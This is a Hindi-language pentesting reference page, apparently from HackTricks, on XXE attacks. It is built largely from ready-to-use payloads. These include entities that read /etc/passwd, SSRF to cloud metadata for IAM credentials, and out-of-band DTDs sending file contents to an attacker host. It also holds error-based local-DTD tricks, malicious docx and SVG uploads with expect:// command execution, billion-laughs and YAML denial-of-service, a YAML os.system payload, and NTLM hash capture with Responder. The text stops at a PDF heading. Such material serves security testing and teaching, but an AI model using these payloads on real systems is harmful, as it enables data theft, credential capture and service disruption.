# XXE - XEE - XML बाह्य इकाई

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का पालन करें।**
* **अपने हैकिंग ट्रिक्स साझा करें,** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके**

</details>

एक XML बाह्य इकाई हमला एक प्रकार का हमला है जो XML इनपुट को पार्स करने वाले एक एप्लिकेशन के खिलाफ होता है।

## XML मूलभूत

**इस भाग का अधिकांश हिस्सा इस आश्चर्यजनक Portswigger पेज से लिया गया था:** [**https://portswigger.net/web-security/xxe/xml-entities**](https://portswigger.net/web-security/xxe/xml-entities)

### XML क्या है? <a href="#what-is-xml" id="what-is-xml"></a>

XML का अर्थ होता है "विस्तारयोग्य मार्कअप भाषा"। XML डेटा को संग्रहीत और परिवहन करने के लिए एक भाषा है। HTML की तरह, XML टैग और डेटा के वृक्षाकार संरचना का उपयोग करता है। HTML की तरह, XML पूर्वनिर्धारित टैग का उपयोग नहीं करता है, और इसलिए टैग को डेटा का वर्णन करने वाले नाम दिए जा सकते हैं। वेब के इतिहास में पहले, XML डेटा परिवहन प्रारूप के रूप में प्रसिद्ध था (AJAX में "X" का उपयोग "XML" के लिए होता है)। लेकिन अब इसकी लोकप्रियता JSON प्रारूप की ओर घट गई है।

### XML इंटिटी क्या हैं? <a href="#what-are-xml-entities" id="what-are-xml-entities"></a>

XML इंटिटी एक तरीका है जिससे XML दस्तावेज़ में डेटा इकाई का प्रतिनिधित्व किया जाता है, इसके बजाय डेटा का उपयोग किया जाता है। XML भाषा के निर्धारण में विभिन्न इंटिटी शामिल हैं। उदाहरण के लिए, इंटिटी `&lt;` और `&gt;` वर्णों का प्रतिनिधित्व करती हैं, जो `<` और `>` वर्णों को प्रतिष्ठान वर्ण के रूप में दर्शाते हैं। ये मेटाकरेक्टर्स XML टैग को दर्शाने के लिए उपयोग होते हैं, और इसलिए जब वे डेटा में प्रकट होते हैं, तो आमतौर पर उनके इंटिटी का उपयोग करके प्रतिष्ठान किया जाना चाहिए।

### XML तत्व क्या हैं?

तत्व प्रकार घोषणाएँ एक XML दस्तावेज़ में प्रतिष्ठान हो सकने वाले तत्वों के प्रकार और संख्या के नियमों को सेट करती हैं, वे तत्व एक दूसरे के भीतर प्रतिष्ठान हो सकते हैं, और वे किस क्रम में प्रतिष्ठान होने चाहिए। उदाहरण के लिए:

* `<!ELEMENT stockCheck ANY>` इसका अर्थ है कि माता-पिता `<stockCheck></stockCheck>` के भीतर कोई भी वस्तु हो सकती है
* `<!ELEMENT stockCheck EMPTY>` इसका अर्थ है कि यह खाली होना चाहिए `<stockCheck></stockCheck>`
* `<!ELEMENT stockCheck (productId,storeId)>` घोषणा करता है कि `<stockCheck>` के अंदर `<productId>` और `<storeId>` बच
## मुख्य हमले

[इन हमलों का बहुत सारा परीक्षण Portswiggers XEE labs का उपयोग करके किया गया था: https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)

### नई Entity परीक्षण

इस हमले में मैं यह जांचने के लिए जा रहा हूँ कि क्या एक साधारण नई ENTITY घोषणा काम कर रही है
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
```
![](<../.gitbook/assets/image (220).png>)

### फ़ाइल पढ़ें

अलग-अलग तरीकों में हम `/etc/passwd` फ़ाइल को पढ़ने का प्रयास करेंगे। Windows के लिए आप यह पढ़ने की कोशिश कर सकते हैं: `C:\windows\system32\drivers\etc\hosts`

इस पहले मामले में ध्यान दें कि SYSTEM "_\*\*file:///\*\*etc/passwd_" भी काम करेगा।
```markup
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
```
![](<../.gitbook/assets/image (221).png>)

यदि वेब सर्वर PHP का उपयोग कर रहा है तो यह दूसरा मामला फ़ाइल को निकालने के लिए उपयोगी हो सकता है (पोर्टस्विगर्स लैब्स का मामला नहीं है)
```markup
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
इस तीसरे मामले में ध्यान दें कि हम `Element stockCheck` को ANY के रूप में घोषित कर रहे हैं।
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
```
![](<../.gitbook/assets/image (222) (1).png>)

### निर्देशिका सूची

**जावा** आधारित एप्लिकेशन में एक निर्देशिका की सामग्री को सूचीबद्ध करना संभव हो सकता है XXE के माध्यम से एक पेलोड के साथ (फ़ाइल के बजाय निर्देशिका के लिए केवल पूछ रहा है):
```markup
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
```
### SSRF

एक XXE का उपयोग करके एक क्लाउड में एक SSRF का दुरुपयोग किया जा सकता है।
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```
### ब्लाइंड SSRF

**पहले से टिप्पणी की गई तकनीक** का उपयोग करके आप सर्वर को एक सर्वर तक पहुंचने के लिए बना सकते हैं जिसे आप निरंकुश कर सकते हैं। लेकिन, यदि यह काम नहीं कर रहा है, शायद यह कारण है कि **XML एंटिटी की अनुमति नहीं है**, उस मामले में आप **XML पैरामीटर एंटिटी** का प्रयास कर सकते हैं:
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
### "अंधा" SSRF - डेटा को बाहरी बैंड से निकालें

**इस अवसर में हम सर्वर को एक नया DTD लोड कराएंगे जिसमें एक हानिकारक पेलोड होगा जो एक फ़ाइल की सामग्री को HTTP अनुरोध के माध्यम से भेजेगा (बहु-लाइन फ़ाइलों के लिए आप इसे** _**ftp://**_** के माध्यम से निकालने का प्रयास कर सकते हैं)। यह व्याख्या** [**यहां पोर्टस्विगर्स लैब से ली गई है**](https://portswigger.net/web-security/xxe/blind)**।**

`/etc/hostname` फ़ाइल की सामग्री को निकालने के लिए एक दुष्ट DTD का उदाहरण निम्नलिखित है:
```markup
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```
यह DTD निम्नलिखित चरणों को पूरा करता है:

* `/etc/passwd` फ़ाइल की सामग्री को समेत करने वाले एक XML पैरामीटर एंटिटी `file` को परिभाषित करता है।
* एक और XML पैरामीटर एंटिटी `exfiltrate` के लिए एक गतिशील घोषणा समेत करने वाली एक XML पैरामीटर एंटिटी `eval` को परिभाषित करता है। `exfiltrate` एंटिटी का मूल्य URL क्वेरी स्ट्रिंग के भीतर `file` एंटिटी के मान को समायोजित करने वाले हमलेवार की वेब सर्वर को HTTP अनुरोध भेजकर मूल्यांकन किया जाएगा।
* `eval` एंटिटी का उपयोग करता है, जिससे `exfiltrate` एंटिटी की गतिशील घोषणा की प्रदर्शनी की जाती है।
* निर्दिष्ट URL का अनुरोध करके इसका मूल्यांकन करने के लिए `exfiltrate` एंटिटी का उपयोग करता है।

अटैकर को फिर इसे अपने नियंत्रण में एक सिस्टम पर होस्ट करना होगा, आमतौर पर इसे अपने खुद के वेब सर्वर पर लोड करके। उदाहरण के लिए, अटैकर निम्नलिखित URL पर हमलेवार DTD की सेवा कर सकता है:\
`http://web-attacker.com/malicious.dtd`

अंत में, अटैकर को संकटग्रस्त एप्लिकेशन को निम्नलिखित XXE पेलोड सबमिट करना होगा:
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
यह XXE पेलोड `xxe` नामक एक XML पैरामीटर एंटिटी घोषित करता है और फिर DTD में इस एंटिटी का उपयोग करता है। इससे XML पार्सर को हमलावर्धक के सर्वर से बाहरी DTD को लाने और इसे इनलाइन अनुप्रयोग करने के लिए प्रेरित किया जाएगा। दुष्प्रभावी DTD में परिभाषित चरणों को फिर से निष्पादित किया जाता है, और `/etc/passwd` फ़ाइल हमलावर्धक के सर्वर पर भेजी जाती है।

### त्रुटि आधारित (बाहरी DTD)

**इस मामले में हम सर्वर को एक दुष्प्रभावी DTD लोड कराने के लिए जाएंगे जो एक त्रुटि संदेश में एक फ़ाइल की सामग्री दिखाएगा (यह केवल तभी मान्य होगा जब आप त्रुटि संदेश देख सकते हो)।** [**यहां से उदाहरण।**](https://portswigger.net/web-security/xxe/blind)

आप एक दुष्प्रभावी बाहरी DTD का उपयोग करके `/etc/passwd` फ़ाइल की सामग्री सहित एक XML पार्सिंग त्रुटि संदेश को ट्रिगर कर सकते हैं, निम्नलिखित तरीके से:
```markup
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```
यह DTD निम्नलिखित चरणों को पूरा करता है:

* `/etc/passwd` फ़ाइल की सामग्री को समेत करने वाले एक XML पैरामीटर एंटिटी `file` को परिभाषित करता है।
* एक और XML पैरामीटर एंटिटी `error` के एक गतिशील घोषणा को समेत करने वाली एक XML पैरामीटर एंटिटी `eval` को परिभाषित करता है। `error` एंटिटी की मूल्यांकन के लिए एक अस्तित्व नहीं रखने वाली फ़ाइल को लोड करके किया जाएगा, जिसका नाम `file` एंटिटी के मान को समायोजित करता है।
* `eval` एंटिटी का उपयोग करता है, जिससे `error` एंटिटी की गतिशील घोषणा की प्रदर्शनी की जाती है।
* `error` एंटिटी का उपयोग करता है, ताकि इसका मूल्य अस्तित्व नहीं रखने वाली फ़ाइल को लोड करने का प्रयास करके मूल्यांकन किया जाए, जिससे एक त्रुटि संदेश उत्पन्न होता है जिसमें अस्तित्व नहीं रखने वाली फ़ाइल का नाम होता है, जो `/etc/passwd` फ़ाइल की सामग्री होती है।

बाहरी DTD त्रुटि को निम्नलिखित के साथ आह्वान करें:
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
और आपको वेब सर्वर के प्रतिक्रिया के त्रुटि संदेश में फ़ाइल की सामग्री दिखाई देनी चाहिए।

![](<../.gitbook/assets/image (223) (1).png>)

_**कृपया ध्यान दें कि बाहरी DTD हमें दूसरे (****`eval`****) एंटिटी को शामिल करने की अनुमति देता है, लेकिन आंतरिक DTD में यह निषिद्ध है। इसलिए, आप बाहरी DTD का उपयोग किए बिना त्रुटि को बलवान नहीं कर सकते हैं (आमतौर पर)।**_

### **त्रुटि आधारित (सिस्टम DTD)**

तो बाइंड XXE सुरक्षा दुर्बलताओं के बारे में क्या? जब **बाहरी कनेक्शन उपलब्ध नहीं होते हैं** (बाहरी कनेक्शन उपलब्ध नहीं होते हैं), तो क्या होता है? [यहां से जानकारी](https://portswigger.net/web-security/xxe/blind) मिलती है।

इस स्थिति में, यदि एक दस्तावेज़ का **DTD आंतरिक और बाहरी DTD घोषणाएं का मिश्रण उपयोग करता है**, तो **आंतरिक DTD उपयोग करके हम बाहरी DTD में घोषित एंटिटी को पुनः परिभाषित कर सकते हैं**। जब ऐसा होता है, तो दूसरे पैरामीटर एंटिटी की परिभाषा में XML पैरामीटर एंटिटी का उपयोग करने पर लगाम हट जाती है।

इसका मतलब है कि एक हमलावर एक **आंतरिक DTD से त्रुटि आधारित XXE तकनीक का उपयोग कर सकता है**, यदि वे उपयोग करते हैं XML पैरामीटर एंटिटी को **बाहरी DTD में घोषित एंटिटी को पुनः परिभाषित करने के लिए**। बेशक, यदि बाहरी कनेक्शन ब्लॉक होते हैं, तो बाहरी DTD को दूरस्थ स्थान से लोड नहीं किया जा सकता है। इसके बजाय, इसे एक **ऐप्लिकेशन सर्वर के लिए स्थानीय बाहरी DTD फ़ाइल होनी चाहिए**। _मूल रूप से, हमला एक DTD फ़ाइल को आह्वान करने का शामिल होता है जो स्थानीय फ़ाइल सिस्टम पर मौजूद होती है और इसे एक मौजूदा एंटिटी को पुनः परिभाषित करने के लिए पुनः उपयोग करने के तरीके से उपयोग करता है जो संवेदनशील डेटा को समारोहित करने वाली एक पार्सिंग त्रुटि को ट्रिगर करता है।_

उदाहरण के लिए, सोचें कि सर्वर फ़ाइल सिस्टम पर `/usr/local/app/schema.dtd` स्थान पर एक DTD फ़ाइल है, और इस DTD फ़ाइल में `custom_entity` नामक एक एंटिटी को परिभाषित किया गया है। एक हमलावर `/etc/passwd` फ़ाइल की सामग्री शामिल करने वाली एक XML पार्सिंग त्रुटि संदेश को ट्रिगर कर सकता है जब वे निम्नलिखित तरह का हाइब्रिड DTD सबमिट करते हैं:
```markup
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```
यह DTD निम्नलिखित कदमों को पूरा करता है:

* `local_dtd` नामक एक XML पैरामीटर एंटिटी को परिभाषित करता है, जिसमें सर्वर फ़ाइलसिस्टम पर मौजूद बाह्य DTD फ़ाइल की सामग्री होती है।
* `custom_entity` नामक XML पैरामीटर एंटिटी को पुनः परिभाषित करता है, जो पहले से ही बाह्य DTD फ़ाइल में परिभाषित है। इस एंटिटी को `/etc/passwd` फ़ाइल की सामग्री को समावेश करने वाले [error-based XXE exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) के रूप में पुनः परिभाषित किया जाता है, जो एक त्रुटि संदेश को उत्पन्न करने के लिए उपयोग किया जाता है जिसमें `/etc/passwd` फ़ाइल की सामग्री होती है।
* `local_dtd` एंटिटी का उपयोग करता है, ताकि बाह्य DTD को व्याख्या किया जा सके, जिसमें `custom_entity` एंटिटी के पुनः परिभाषित मान को भी शामिल किया जाता है। इससे आवश्यक त्रुटि संदेश प्राप्त होता है।

**वास्तविक दुनिया का उदाहरण:** GNOME डेस्कटॉप परिवेश का उपयोग करने वाले सिस्टमों में अक्सर `/usr/share/yelp/dtd/docbookx.dtd` पर एक DTD होता है, जिसमें `ISOamso` नामक एंटिटी होती है।
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
![](<../.gitbook/assets/image (224).png>)

इस तकनीक का उपयोग करने के लिए **आपको पहले एक मान्य DTD खोजने की आवश्यकता होती है**। आप इसे कर सकते हैं **जब आप सर्वर का उपयोग कर रहे हैं वही ओएस / सॉफ्टवेयर स्थापित करके** और **कुछ डिफ़ॉल्ट DTDs खोजने** या **सिस्टम में मौजूद डिफ़ॉल्ट DTDs की एक सूची** प्राप्त करके **जांचें** यदि उनमें से कोई मौजूद है:
```markup
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```
### सिस्टम में DTDs की खोज

निम्नलिखित शानदार github रेपो में आप **सिस्टम में मौजूद DTDs के पथ** ढूंढ सकते हैं:

{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}

इसके अलावा, यदि आपके पास **पीडीएफ छवि** का विक्टिम सिस्टम का डॉकर इमेज है, तो आप इसी रेपो के उपकरण का उपयोग करके **इमेज को स्कैन कर सकते हैं** और सिस्टम में मौजूद **DTDs के पथ को खोज सकते हैं**। [गिटहब के Readme](https://github.com/GoSecure/dtd-finder) को पढ़ें और जानें कैसे।
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
```
### XXE के माध्यम से ऑफिस ओपन XML पार्सर

([**यहां से**](https://labs.detectify.com/2021/09/30/10-types-web-vulnerabilities-often-missed/) कॉपी किया गया है)\
कई वेब एप्लिकेशन आपको माइक्रोसॉफ्ट ऑफिस दस्तावेज़ अपलोड करने की अनुमति देती हैं, और फिर वे उनमें से कुछ विवरणों को पार्स करती हैं। उदाहरण के लिए, आपके पास एक वेब एप्लिकेशन हो सकती है जो आपको XLSX प्रारूप में एक स्प्रेडशीट अपलोड करके डेटा आयात करने की अनुमति देती है। किसी बिंदु पर, स्प्रेडशीट से डेटा निकालने के लिए पार्सर को कम से कम एक XML फ़ाइल को पार्स करने की आवश्यकता होगी।

इसका परीक्षण करने का एकमात्र तरीका एक **Microsoft Office फ़ाइल उत्पन्न करना है जिसमें एक XXE पेलोड होता है**, तो चलिए ऐसा करते हैं। पहले, अपने दस्तावेज़ को अनज़िप करने के लिए एक खाली निर्देशिका बनाएं, और इसे अनज़िप करें!
```
test$ ls
test.docx
test$ mkdir unzipped
test$ unzip ./test.docx -d ./unzipped/
Archive:  ./test.docx
inflating: ./unzipped/word/numbering.xml
inflating: ./unzipped/word/settings.xml
inflating: ./unzipped/word/fontTable.xml
inflating: ./unzipped/word/styles.xml
inflating: ./unzipped/word/document.xml
inflating: ./unzipped/word/_rels/document.xml.rels
inflating: ./unzipped/_rels/.rels
inflating: ./unzipped/word/theme/theme1.xml
inflating: ./unzipped/[Content_Types].xml
```
अपने पसंदीदा पाठ संपादक (विम) में `./unzipped/word/document.xml` खोलें और **अपने पसंदीदा XXE पेलोड** को XML में संपादित करें। मैं पहली चीज़ जो मैं करता हूँ वह HTTP अनुरोध होता है, जैसे इस प्रकार:
```
<!DOCTYPE x [ <!ENTITY test SYSTEM "http://[ID].burpcollaborator.net/"> ]>
<x>&test;</x>
```
ये लाइनें दो मूल XML ऑब्जेक्ट्स के बीच में डालनी चाहिए, इस तरह, और बेशक आपको URL को एक URL से बदलना होगा जिसे आप अनुरोधों के लिए मॉनिटर कर सकते हैं:

![ये लाइनें दो मूल XML ऑब्जेक्ट्स के बीच में डालनी चाहिए, इस तरह](https://labs.detectify.com/wp-content/uploads/2021/09/xxe-obscure.png)

अब बस फ़ाइल को **आपकी ख़राब poc.docx फ़ाइल बनाने के लिए ज़िप करें**। हमने पहले बनाए हुए "अनज़िप की गई" निर्देशिका से, निम्नलिखित को चलाएं:

![हमने पहले बनाए हुए "अनज़िप की गई" निर्देशिका से, निम्नलिखित को चलाएं:](https://labs.detectify.com/wp-content/uploads/2021/09/xxe-unzipped.png)

अब फ़ाइल को अपलोड करें अपने (आशा है) संकटग्रस्त वेब एप्लिकेशन पर और अपने बर्प कॉलेबोरेटर लॉग में एक अनुरोध के लिए हैकिंग देवताओं के लिए प्रार्थना करें।

### Jar: प्रोटोकॉल

`jar` प्रोटोकॉल केवल **जावा एप्लिकेशन** पर उपलब्ध है। इसकी मदद से एक **PKZIP** फ़ाइल (`.zip`, `.jar`, ...) के भीतर फ़ाइलों तक पहुंच संभव होती है और यह स्थानीय और दूरस्थ फ़ाइलों के लिए काम करता है:
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
एक्सेस करने के लिए PKZIP फ़ाइलों के अंदर फ़ाइलों तक पहुंचना **XXE का दुरुपयोग करने के लिए बहुत उपयोगी है।** [इस खंड की जांच करें ताकि आप सिस्टम DTD फ़ाइलों का दुरुपयोग कैसे कर सकते हैं](xxe-xee-xml-external-entity.md#error-based-system-dtd)।
{% endhint %}

#### परदे के पीछे

1. यह ज़िप आर्काइव लोड करने के लिए एक HTTP अनुरोध बनाता है। `https://download.host.com/myarchive.zip`
2. यह HTTP प्रतिक्रिया को एक अस्थायी स्थान पर सहेजता है। `/tmp/...`
3. यह आर्काइव का निष्कर्षण करता है।
4. यह `file.zip` को पढ़ता है।
5. यह अस्थायी फ़ाइलें हटा देता है।

ध्यान दें कि दूसरे चरण में फ़्लो को रोकना संभव है। यह चाल होने पर कनेक्शन को कभी बंद न करें। [यह उपकरण उपयोगी हो सकते हैं](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution): एक पायथन में `slow_http_server.py` और एक जावा में `slowserver.jar`।

जब सर्वर ने आपकी फ़ाइल को डाउनलोड कर लिया हो, तो आपको उसकी स्थान पता लगाने की आवश्यकता होती है जहां आपकी फ़ाइल संग्रहीत हुई है। यह यादृच्छिक होने के कारण, फ़ाइल पथ पहले से पूर्वानुमान नहीं किया जा सकता है।

![Jar](https://gosecure.github.io/xxe-workshop/img/74fac3155d455980.png)

{% hint style="danger" %}
एक अस्थायी निर्देशिका में फ़ाइलें लिखने से एक और संकट को बढ़ाने में मदद मिल सकती है जो एक पथ ट्रावर्सल (जैसे स्थानीय फ़ाइल शामिल करें, टेम्पलेट इंजेक्शन, XSLT RCE, डेसीरियलाइज़ेशन, आदि) को बढ़ा सकती है।
{% endhint %}

### XSS
```markup
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
```
### डीओएस

#### बिलियन लॉफ़ हमला
```markup
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```
#### यामल हमला

```yaml
!!python/object/apply:os.system ["echo 'Yaml Attack'"]
```

यामल हमला एक अद्यतनीय यामल फ़ाइल में एक विशेष यामल दिए जाने के माध्यम से एक आक्रमण है। इस उदाहरण में, हम एक `os.system` कॉल करके "Yaml Attack" शब्दों को छाप रहे हैं।
```markup
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
#### चतुर्भुज विस्फोट हमला

![](<../.gitbook/assets/image (531).png>)

#### NTML प्राप्त करना

Windows होस्ट पर वेब सर्वर उपयोगकर्ता के NTML हैश प्राप्त करना संभव होता है जब एक responder.py हैंडलर सेट किया जाता है:
```
Responder.py -I eth0 -v
```
और निम्नलिखित अनुरोध भेजकर
```
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
फिर आप हैशकैट का उपयोग करके हैश को क्रैक करने का प्रयास कर सकते हैं

## छिपी हुई XXE सतहें

### XInclude

[यहां से।](https://portswigger.net/web-security/xxe)

कुछ ऐप्लिकेशन **ग्राहक-प्रस्तुत डेटा प्राप्त करते हैं, इसे सर्वर-साइड पर एक XML दस्तावेज़ में सम्मिलित करते हैं और फिर दस्तावेज़ को पार्स करते हैं**। इसका एक उदाहरण यह होता है जब ग्राहक-प्रस्तुत डेटा को **बैकएंड SOAP अनुरोध** में रखा जाता है, जिसे फिर बैकएंड SOAP सेवा द्वारा प्रोसेस किया जाता है।

इस स्थिति में, आप एक क्लासिक XXE हमला नहीं कर सकते हैं, क्योंकि **आप पूरे XML** दस्तावेज़ को नियंत्रित नहीं करते हैं और इसलिए एक `DOCTYPE` तत्व को परिभाषित या संशोधित नहीं कर सकते हैं। हालांकि, आप `XInclude` का उपयोग कर सकते हैं। `XInclude` XML निर्देशिका का एक हिस्सा है जो एक XML दस्तावेज़ को उप-दस्तावेज़ों से बनाने की अनुमति देता है। आप किसी भी डेटा मान में `XInclude` हमला रख सकते हैं, इसलिए हमला केवल उन स्थितियों में किया जा सकता है जहां आप केवल एक आइटम डेटा को नियंत्रित करते हैं जो सर्वर-साइड XML दस्तावेज़ में रखा जाता है।

`XInclude` हमला करने के लिए, आपको `XInclude` नेमस्पेस को संदर्भित करना होगा और सम्मिलित करने के लिए फ़ाइल का पथ प्रदान करना होगा। उदाहरण के लिए:
```markup
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
### SVG - फ़ाइल अपलोड

[यहां से।](https://portswigger.net/web-security/xxe)

कुछ ऐप्लिकेशन उपयोगकर्ताओं को फ़ाइलें अपलोड करने की अनुमति देती हैं जो फिर सर्वर-साइड प्रोसेस की जाती हैं। कुछ सामान्य फ़ाइल प्रारूप XML का उपयोग करते हैं या XML उपघटकों को शामिल करते हैं। XML आधारित प्रारूपों के उदाहरण हैं डॉक्स जैसे कार्यालय दस्तावेज़ प्रारूप और एसवीजी जैसे छवि प्रारूप।

उदाहरण के लिए, एक ऐप्लिकेशन उपयोगकर्ताओं को **छवियाँ अपलोड करने की अनुमति देती हैं**, और इन्हें अपलोड करने के बाद सर्वर पर प्रोसेस या सत्यापित करती हैं। हालांकि, यदि ऐप्लिकेशन को PNG या JPEG जैसे प्रारूप प्राप्त करने की उम्मीद होती है, तो **छवि प्रसंस्करण पुस्तकालय जो उपयोग की जा रही है, एसवीजी छवियों का समर्थन कर सकती हैं**। एसवीजी प्रारूप XML का उपयोग करता है, इसलिए एक हमलावर एक विक्षिप्त एसवीजी छवि सबमिट कर सकता हैं और इस तरह XXE संबंधित सुरक्षा के लिए छिपी हुई हमला सतह तक पहुंच सकता हैं।
```markup
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
आप PHP "expect" व्रापर का उपयोग करके **कमांड्स को निष्पादित** करने का प्रयास कर सकते हैं:
```markup
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
```
**नोट: फ़ाइल के पहले पंक्ति या नतीजे की निष्पादन की पंक्ति निर्मित छवि के अंदर दिखाई देगी। इसलिए आपको छवि एसवीजी द्वारा बनाई गई तक पहुंचने की क्षमता होनी चाहिए।**

### **PDF - फ़ाइल अपलोड**

एक XXE को शोषण करने के लिए एक PDF फ़ाइल अपलोड करने का उपयोग कैसे करें इसे सीखने के लिए निम्नलिखित पोस्ट को पढ़ें:

